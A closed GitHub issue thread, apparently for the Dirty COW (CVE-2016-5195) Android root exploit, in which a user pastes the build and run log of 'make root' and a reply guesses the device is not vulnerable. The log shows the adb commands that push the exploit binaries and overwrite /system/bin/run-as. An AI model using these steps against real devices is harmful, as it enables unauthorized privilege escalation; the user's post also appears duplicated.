Closed MatanTubul closed 7 years ago
Hi i try to execute the make root command and i get the following output:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 make[1]: Entering directory/home/matant/Downloads/tmp/CVE-2016-5195' [armeabi] Compile thumb : dirtycow <= dirtycow.c [armeabi] Compile thumb : dirtycow <= dcow.c [armeabi] Executable : dirtycow [armeabi] Install : dirtycow => libs/armeabi/dirtycow [armeabi] Compile thumb : run-as <= dirtycow.c [armeabi] Compile thumb : run-as <= run-as.c [armeabi] Executable : run-as [armeabi] Install : run-as => libs/armeabi/run-as make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-5195' adb push libs/armeabi/dirtycow /data/local/tmp/dcow 191 KB/s (13516 bytes in 0.069s) adb push libs/armeabi/run-as /data/local/tmp/run-as 93 KB/s (5276 bytes in 0.055s) adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' dcow /data/local/tmp/run-as /system/bin/run-as warning: new file size (5276) and destination file size (14360) differ
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 make[1]: Entering directory
[] size 5276 [] mmap 0xe8960000 [] currently 0xe8960000=464c457f [] madvise = 0xe8960000 5276 [] madvise = 0 1048576 [] /proc/self/mem -269922 269922 [*] exploited 0xe8960000=464c457f adb shell /system/bin/run-as run-as: Usage: run-as [--user ] [] `
I guess your device is not vulnerable. You can also try make test
make test
Hi i try to execute the make root command and i get the following output:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 make[1]: Entering directory
/home/matant/Downloads/tmp/CVE-2016-5195' [armeabi] Compile thumb : dirtycow <= dirtycow.c [armeabi] Compile thumb : dirtycow <= dcow.c [armeabi] Executable : dirtycow [armeabi] Install : dirtycow => libs/armeabi/dirtycow [armeabi] Compile thumb : run-as <= dirtycow.c [armeabi] Compile thumb : run-as <= run-as.c [armeabi] Executable : run-as [armeabi] Install : run-as => libs/armeabi/run-as make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-5195' adb push libs/armeabi/dirtycow /data/local/tmp/dcow 191 KB/s (13516 bytes in 0.069s) adb push libs/armeabi/run-as /data/local/tmp/run-as 93 KB/s (5276 bytes in 0.055s) adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' dcow /data/local/tmp/run-as /system/bin/run-as warning: new file size (5276) and destination file size (14360) differ[] size 5276 [] mmap 0xe8960000 [] currently 0xe8960000=464c457f [] madvise = 0xe8960000 5276 [] madvise = 0 1048576 [] /proc/self/mem -269922 269922 [*] exploited 0xe8960000=464c457f adb shell /system/bin/run-as run-as: Usage: run-as [--user ] []
`